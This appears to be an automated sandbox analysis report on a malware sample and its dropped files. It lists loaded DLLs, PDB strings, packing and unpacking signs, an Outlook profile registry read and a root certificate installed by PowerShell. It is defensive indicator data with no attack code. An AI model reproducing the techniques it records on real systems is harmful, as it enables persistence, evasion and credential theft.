Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\Desktop\1CMweaqlKp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 1CMweaqlKp.exe

Static file information: File size 1793040 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: 1CMweaqlKp.exe

Static PE information: Raw size of .boot is bigger than: 0x100000 < 0x185000

Source:	Binary string: freebl3.pdb source: freebl3[1].dll.51.dr
Source:	Binary string: C:\wutimosolix_62\gowaj\tosusinana-la.pdb source: ISetup8.exe, 00000029.00000003.2151074345.0000000003871000.00000004.00000020.00020000.00000000.sdmp, u6po.0.exe, 00000033.00000000.2149099984.0000000000412000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.51.dr
Source:	Binary string: C:\somilixucasoba_pi.pdb source: ISetup8.exe, 00000029.00000000.2055258369.0000000000412000.00000002.00000001.01000000.00000019.sdmp, rVg8HtIzXa4xhJHL7Pn8A6d2.exe.54.dr
Source:	Binary string: file300un.PDBI: source: file300un.exe, 00000032.00000002.7139604951.000000C2DA0F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\rute\dazazef.pdb source: toolspub1.exe, 00000031.00000000.2109256617.0000000000412000.00000002.00000001.01000000.0000001D.sdmp, toolspub1.exe, 00000031.00000002.2197395229.0000000000412000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: mscorlib.pdb source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: System.ni.pdbRSDS source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: C:\dimohisek.pdb source: ppcQqLgPI8Dyy7YykX33fm5x.exe.54.dr
Source:	Binary string: Croco.pdb source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\1000075001\file300un.PDB source: file300un.exe, 00000032.00000002.7139604951.000000C2DA0F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: YC:\rute\dazazef.pdb source: toolspub1.exe, 00000031.00000000.2109256617.0000000000412000.00000002.00000001.01000000.0000001D.sdmp, toolspub1.exe, 00000031.00000002.2197395229.0000000000412000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: ,C:\dimohisek.pdb source: ppcQqLgPI8Dyy7YykX33fm5x.exe.54.dr
Source:	Binary string: pC:\Users\user\AppData\Local\Temp\1000075001\file300un.PDB source: file300un.exe, 00000032.00000002.7139604951.000000C2DA0F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.pdb4 source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: System.Core.pdb source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: GC:\somilixucasoba_pi.pdb source: ISetup8.exe, 00000029.00000000.2055258369.0000000000412000.00000002.00000001.01000000.00000019.sdmp, rVg8HtIzXa4xhJHL7Pn8A6d2.exe.54.dr
Source:	Binary string: System.ni.pdb source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: System.pdb source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: System.Core.ni.pdb source: WERA6A7.tmp.dmp.34.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Unpacked PE file: 7.2.amert.exe.610000.0.unpack :EW;.rsrc:W;.idata :W; :EW;avcjhwxy:EW;nkwkrymv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;avcjhwxy:EW;nkwkrymv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Unpacked PE file: 9.2.d361f35322.exe.7e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;agovwish:EW;lcjgmmfi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;agovwish:EW;lcjgmmfi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Unpacked PE file: 11.2.explorha.exe.930000.0.unpack :EW;.rsrc:W;.idata :W; :EW;avcjhwxy:EW;nkwkrymv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;avcjhwxy:EW;nkwkrymv:EW;.taggant:EW;
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Unpacked PE file: 27.2.MPGPH131.exe.700000.0.unpack :EW;.rsrc:W;.idata :W; :EW;agovwish:EW;lcjgmmfi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;agovwish:EW;lcjgmmfi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Unpacked PE file: 36.2.d361f35322.exe.7e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;agovwish:EW;lcjgmmfi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;agovwish:EW;lcjgmmfi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Unpacked PE file: 46.2.RageMP131.exe.890000.0.unpack :EW;.rsrc:W;.idata :W; :EW;agovwish:EW;lcjgmmfi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;agovwish:EW;lcjgmmfi:EW;.taggant:EW;

Source: jok[1].exe.10.dr

Static PE information: 0xFC177629 [Thu Jan 10 08:13:29 2104 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: jok.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x547e4
Source: cred64[1].dll.10.dr	Static PE information: real checksum: 0x0 should be: 0x147ee8
Source: swiiiii[1].exe.10.dr	Static PE information: real checksum: 0x562fb should be: 0x5eece
Source: sarra[1].exe.1.dr	Static PE information: real checksum: 0x255044 should be: 0x255765
Source: amert.exe.1.dr	Static PE information: real checksum: 0x1d87f7 should be: 0x1d2e57
Source: clip64.dll.10.dr	Static PE information: real checksum: 0x0 should be: 0x1f783
Source: jok[1].exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x547e4
Source: install.exe.10.dr	Static PE information: real checksum: 0x22d33 should be: 0x44be5e
Source: swiiii.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x32780
Source: install[1].exe.10.dr	Static PE information: real checksum: 0x22d33 should be: 0x44be5e
Source: cred64.dll.10.dr	Static PE information: real checksum: 0x0 should be: 0x147ee8
Source: clip64[1].dll.10.dr	Static PE information: real checksum: 0x0 should be: 0x1f783
Source: NewB.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x6bd55
Source: MPGPH131.exe.9.dr	Static PE information: real checksum: 0x24c49c should be: 0x254dd7
Source: explorha.exe.7.dr	Static PE information: real checksum: 0x1d87f7 should be: 0x1d2e57
Source: gold.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x9cfd4
Source: swiiii[1].exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x32780
Source: amert[1].exe.1.dr	Static PE information: real checksum: 0x1d87f7 should be: 0x1d2e57
Source: RageMP131.exe.9.dr	Static PE information: real checksum: 0x24c49c should be: 0x254dd7
Source: NewB[1].exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x6bd55
Source: d361f35322.exe.1.dr	Static PE information: real checksum: 0x24c49c should be: 0x254dd7
Source: gold[1].exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x9cfd4
Source: alexxxxxxxx.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x2b7dd5
Source: alexxxxxxxx[1].exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x2b7dd5
Source: swiiiii.exe.10.dr	Static PE information: real checksum: 0x562fb should be: 0x5eece
Source: random[1].exe.1.dr	Static PE information: real checksum: 0x24c49c should be: 0x254dd7

Source: 1CMweaqlKp.exe	Static PE information: section name:
Source: 1CMweaqlKp.exe	Static PE information: section name:
Source: 1CMweaqlKp.exe	Static PE information: section name:
Source: 1CMweaqlKp.exe	Static PE information: section name:
Source: 1CMweaqlKp.exe	Static PE information: section name:
Source: 1CMweaqlKp.exe	Static PE information: section name: .vm_sec
Source: 1CMweaqlKp.exe	Static PE information: section name: .themida
Source: 1CMweaqlKp.exe	Static PE information: section name: .boot
Source: explorta.exe.0.dr	Static PE information: section name:
Source: explorta.exe.0.dr	Static PE information: section name:
Source: explorta.exe.0.dr	Static PE information: section name:
Source: explorta.exe.0.dr	Static PE information: section name:
Source: explorta.exe.0.dr	Static PE information: section name:
Source: explorta.exe.0.dr	Static PE information: section name: .vm_sec
Source: explorta.exe.0.dr	Static PE information: section name: .themida
Source: explorta.exe.0.dr	Static PE information: section name: .boot
Source: sarra[1].exe.1.dr	Static PE information: section name:
Source: sarra[1].exe.1.dr	Static PE information: section name: .idata
Source: sarra[1].exe.1.dr	Static PE information: section name:
Source: sarra[1].exe.1.dr	Static PE information: section name: zhbidvgs
Source: sarra[1].exe.1.dr	Static PE information: section name: swmxyxsi
Source: sarra[1].exe.1.dr	Static PE information: section name: .taggant
Source: amert[1].exe.1.dr	Static PE information: section name:
Source: amert[1].exe.1.dr	Static PE information: section name: .idata
Source: amert[1].exe.1.dr	Static PE information: section name:
Source: amert[1].exe.1.dr	Static PE information: section name: avcjhwxy
Source: amert[1].exe.1.dr	Static PE information: section name: nkwkrymv
Source: amert[1].exe.1.dr	Static PE information: section name: .taggant
Source: amert.exe.1.dr	Static PE information: section name:
Source: amert.exe.1.dr	Static PE information: section name: .idata
Source: amert.exe.1.dr	Static PE information: section name:
Source: amert.exe.1.dr	Static PE information: section name: avcjhwxy
Source: amert.exe.1.dr	Static PE information: section name: nkwkrymv
Source: amert.exe.1.dr	Static PE information: section name: .taggant
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: agovwish
Source: random[1].exe.1.dr	Static PE information: section name: lcjgmmfi
Source: random[1].exe.1.dr	Static PE information: section name: .taggant
Source: d361f35322.exe.1.dr	Static PE information: section name:
Source: d361f35322.exe.1.dr	Static PE information: section name: .idata
Source: d361f35322.exe.1.dr	Static PE information: section name:
Source: d361f35322.exe.1.dr	Static PE information: section name: agovwish
Source: d361f35322.exe.1.dr	Static PE information: section name: lcjgmmfi
Source: d361f35322.exe.1.dr	Static PE information: section name: .taggant
Source: explorha.exe.7.dr	Static PE information: section name:
Source: explorha.exe.7.dr	Static PE information: section name: .idata
Source: explorha.exe.7.dr	Static PE information: section name:
Source: explorha.exe.7.dr	Static PE information: section name: avcjhwxy
Source: explorha.exe.7.dr	Static PE information: section name: nkwkrymv
Source: explorha.exe.7.dr	Static PE information: section name: .taggant
Source: RageMP131.exe.9.dr	Static PE information: section name:
Source: RageMP131.exe.9.dr	Static PE information: section name: .idata
Source: RageMP131.exe.9.dr	Static PE information: section name:
Source: RageMP131.exe.9.dr	Static PE information: section name: agovwish
Source: RageMP131.exe.9.dr	Static PE information: section name: lcjgmmfi
Source: RageMP131.exe.9.dr	Static PE information: section name: .taggant
Source: MPGPH131.exe.9.dr	Static PE information: section name:
Source: MPGPH131.exe.9.dr	Static PE information: section name: .idata
Source: MPGPH131.exe.9.dr	Static PE information: section name:
Source: MPGPH131.exe.9.dr	Static PE information: section name: agovwish
Source: MPGPH131.exe.9.dr	Static PE information: section name: lcjgmmfi
Source: MPGPH131.exe.9.dr	Static PE information: section name: .taggant
Source: gold[1].exe.10.dr	Static PE information: section name: .DAX
Source: gold[1].exe.10.dr	Static PE information: section name: .Left
Source: gold[1].exe.10.dr	Static PE information: section name: .INV
Source: gold.exe.10.dr	Static PE information: section name: .DAX
Source: gold.exe.10.dr	Static PE information: section name: .Left
Source: gold.exe.10.dr	Static PE information: section name: .INV
Source: cred64[1].dll.10.dr	Static PE information: section name: _RDATA
Source: cred64.dll.10.dr	Static PE information: section name: _RDATA
Source: alexxxxxxxx[1].exe.10.dr	Static PE information: section name: .00cfg
Source: alexxxxxxxx.exe.10.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

Code function: 9_2_00813F49 push ecx; ret

9_2_00813F5C

Source: 1CMweaqlKp.exe	Static PE information: section name: entropy: 7.9986661792698115
Source: 1CMweaqlKp.exe	Static PE information: section name: .boot entropy: 7.955810157618839
Source: explorta.exe.0.dr	Static PE information: section name: entropy: 7.9986661792698115
Source: explorta.exe.0.dr	Static PE information: section name: .boot entropy: 7.955810157618839
Source: sarra[1].exe.1.dr	Static PE information: section name: entropy: 7.9243513655231705
Source: sarra[1].exe.1.dr	Static PE information: section name: zhbidvgs entropy: 7.912044560062752
Source: amert[1].exe.1.dr	Static PE information: section name: entropy: 7.986768487395881
Source: amert[1].exe.1.dr	Static PE information: section name: avcjhwxy entropy: 7.953340978521756
Source: amert.exe.1.dr	Static PE information: section name: entropy: 7.986768487395881
Source: amert.exe.1.dr	Static PE information: section name: avcjhwxy entropy: 7.953340978521756
Source: random[1].exe.1.dr	Static PE information: section name: entropy: 7.924280236056968
Source: random[1].exe.1.dr	Static PE information: section name: agovwish entropy: 7.911493089854424
Source: d361f35322.exe.1.dr	Static PE information: section name: entropy: 7.924280236056968
Source: d361f35322.exe.1.dr	Static PE information: section name: agovwish entropy: 7.911493089854424
Source: explorha.exe.7.dr	Static PE information: section name: entropy: 7.986768487395881
Source: explorha.exe.7.dr	Static PE information: section name: avcjhwxy entropy: 7.953340978521756
Source: RageMP131.exe.9.dr	Static PE information: section name: entropy: 7.924280236056968
Source: RageMP131.exe.9.dr	Static PE information: section name: agovwish entropy: 7.911493089854424
Source: MPGPH131.exe.9.dr	Static PE information: section name: entropy: 7.924280236056968
Source: MPGPH131.exe.9.dr	Static PE information: section name: agovwish entropy: 7.911493089854424
Source: swiiiii[1].exe.10.dr	Static PE information: section name: .text entropy: 7.992152217310619
Source: swiiiii.exe.10.dr	Static PE information: section name: .text entropy: 7.992152217310619
Source: swiiii[1].exe.10.dr	Static PE information: section name: .text entropy: 7.987813915261593
Source: swiiii.exe.10.dr	Static PE information: section name: .text entropy: 7.987813915261593

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\gX4d2ArXDOHTjofk9CfRb7Jz.exe	Jump to dropped file
